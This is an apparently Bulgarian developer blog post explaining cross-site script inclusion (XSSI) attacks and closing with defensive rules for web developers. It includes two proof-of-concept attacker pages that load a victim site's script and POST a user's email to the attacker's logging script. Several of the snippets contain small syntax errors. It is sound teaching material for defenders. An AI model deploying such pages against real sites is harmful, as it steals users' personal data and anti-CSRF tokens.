C, PHP, VB, .NET

Дневникът на Филип Петров


* Cross site script inclusion (XSSI) атаки

Публикувано на 02 ноември 2016 в раздел ОСУП.

Има една страна на same origin policy, която е със съзнателно отслабена защита. Това е вмъкването на javascript от външни домейни. Когато изпълните код <script src=“http://www.othersite…/script.js>…</scipt>, браузъра на клиента ще изтегли скрипта и ще го изпълни в origin, който е същия както на HTML документа, който се зарежда. До какви проблеми свързани със сигурността може да доведе това?

Първият и най-очевиден проблем не е свързан със same origin policy, а с MITM атаките. Дори нашият сайт да се изтегля криптиран с https, ако той изтегля външния скрипт през http, атакуващия може да подмени скрипта и от там да изпълни какъвто си поиска код в нашия сайт – да открадне cookie или каквото друго си помислите. Затова първото важно правило е, че ако трябва да се защитите от MITM атаки и ви се налага да добавяте скрипт от външен ресурс, винаги добавяйте скрипта през https. За щастие тук някои браузъри ни помагат, например доскоро актуалния Internet Explorer, защото изкарват съобщение, което предупреждава потребителя, че „изтегля информация от некриптиран канал“. Преди години имаше подобна уязвимост с българската поща АБВ, когато изтегляше рекламите в дясната част на основния екран.

Вторият проблем е свързан с динамично генерираните javascript файлове. Става въпрос за такива, които не са статични, а се генерират от PHP или друг вид сървърен скрипт и съответно съдържат персонализирана потребителска информация. Подобни скриптове се откриват сравнително лесно дори с автоматизация:

  1. Изтегляте скрипта без да сте логнати в сайта;
  2. Правите някаква активност след като сте се логнали и отново изтегляте същия скрипт;
  3. Сравнявате двата изтеглени файла – ако има разлика между тях, значи скрипта се генерира динамично.

Когато хакер установи, че има динамични javascript, той естествено ги преглежда и търси в тях някаква персонализирана информация, която представлява интерес. Сайтовете може да запишат в скрипта вашето име, електронна поща, съдържанието на кошницата в сайт за пазаруване, token за защита срещу XSRF (особено ценно за хакерите, защото могат директно да изпълнят XSRF атака),  и т.н. Но този скрипт, въпреки че се намираме технически в обхвата на сайта на хакера, все пак се изтегля и изпълнява в браузъра на клиента, а не на сървъра. Как тогава сървъра на хакера да достъпи тази информация?

От интерес представляват основно глобални променливи (дефинирани top level извън тялото на функции), като например:

var email = somename@gmail.dom

или променливи, за които програмистът волно или неволно е пропуснал думичката „var“, с което ги е направил глобални:

email = somename@gmail.dom

Нека например този скрипт се намира на gmail.dom/script.js. Това, което трябва да направи хакера, за да открадне съдържанието на такава променлива, е да създаде страница, на която да вмъкне външния скрипт и да изпълни свой собствен втори, за който… глобалните променливи са вече достъпни! Този втори скрипт вече има свободата да изпрати съдържанието където си поиска – в примера ще го направим чрез XMLHttpRequest:

<html>
  <body>
     <p>Some cool hacker site</p>
  </body>
  <script src="http://www.gmail.dom/script.js></script> 
  <script language="javascript">
    window.onload = function(){
       var http = new XMLHttpRequest();
       var url = "loggingScript.php";
       var params = "useremail=" + email;
       http.open("POST", url, true);
       http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
       http.send(params);
    };
  </script> 
</html>

По този начин при зареждането на сайта на хакера ще се случат следните неща:

  1. Браузърът ни отива на gmail.dom и изпраща своето cookie (ако сме логнати);
  2. Браузърът изтегля скрипта и го изпълнява на хакерския сайт;
  3. Вторият скрипт взима e-mail адреса от първия и го изпраща с POST заявка към скрипта loggingScript.php;
  4. loggingScript.php се изпълнява от страната на сървъра на хакера и вече има необходимата информация.

Вторият тривиален начин е чрез наличието на глобална функция в скрипта, в която се дефинират променливи с лични данни и те от своя страна се предават като параметър на друга функция. Ако например в gmail.dom/script.js има нещо като:

function somefunc(){
  var email = somename@gmail.dom
  ...
  window.gmailLib.anotherFunc(email);
}

то хакерът би могъл да пренапише извикваната anotherFunc с нова и така да достъпи данните:

<html>
  <body>
     <p>Some cool hacker site</p>
  </body>
  <script src="http://www.gmail.dom/script.js></script> 
  <script language="javascript">
    window.gmailLib = {};
    window.gmailLib.anotherFunc() = function(email){
       var http = new XMLHttpRequest();
       var url = "loggingScript.php";
       var params = "useremail=" + email;
       http.open("POST", url, true);
       http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
       http.send(params);
    };
    window.onload = function(){someFunc()};
  </script> 
</html>

По този начин:

  1. Зарежда се скрипта от хаквания сайт;
  2. Хакерът пренаписва функцията anotherFunc();
  3. Извиква се оригиналната someFunc(), в която са дефинирани ценните променливи с данни (email в случая);
  4. someFunc извиква пренаписаната anotherFunc и ѝ предава параметъра;
  5. Новата anotherFunc вече има нужната информация и я изпраща с POST заявка към скрипта на хакера.

Съществуват (вероятно) и по-сложни техники и трикове, чрез които може да се краде информация и от локални променливи. В общи линии винаги се изисква известна доза импровизация от страна на хакера. Гледайки от страна на разработчиците на софтуер обаче, бихме могли да спазваме следните важни правила за предотвратяване на XSSI атаки:

  1. Никога не правете динамично генерираните javascript-ове с фиксирано или предвидимо име! Винаги ги генерирайте с произволни имена така, че хакера да не може да ги отгатне! Тази техника е много подобна на това, което правихме при CSRF атаките – в случая името на скрипта ще се явява като token, който ако хакера не знае, няма да може да извърши атаката;
  2. В своите JavaScript файлове, които не желаете да бъдат добавяни в чужди домейни, винаги проверявайте referrer там, където се обработват лични или важни данни. Referrer се достъпва се чрез системната променлива document.referrer;
  3. Ако можете, не записвайте важна информация в javascript;
  4. Ако ви се налага да записвате важна информация, правете го в локални променливи и по възможност не предавайте информацията от една функция на друга;

В заключение – XSSI е допълнително оръжие за хакерите, което в комбинация с XSRF и XSS може да доведе до „вержина реакция“, от която един сайт хаква профила на човек във втори, а от там да се изпратят заявки към трети. Затова отношението към него е не по-малко важно спрямо другите две.

 



Добави коментар

Адресът на електронната поща няма да се публикува


*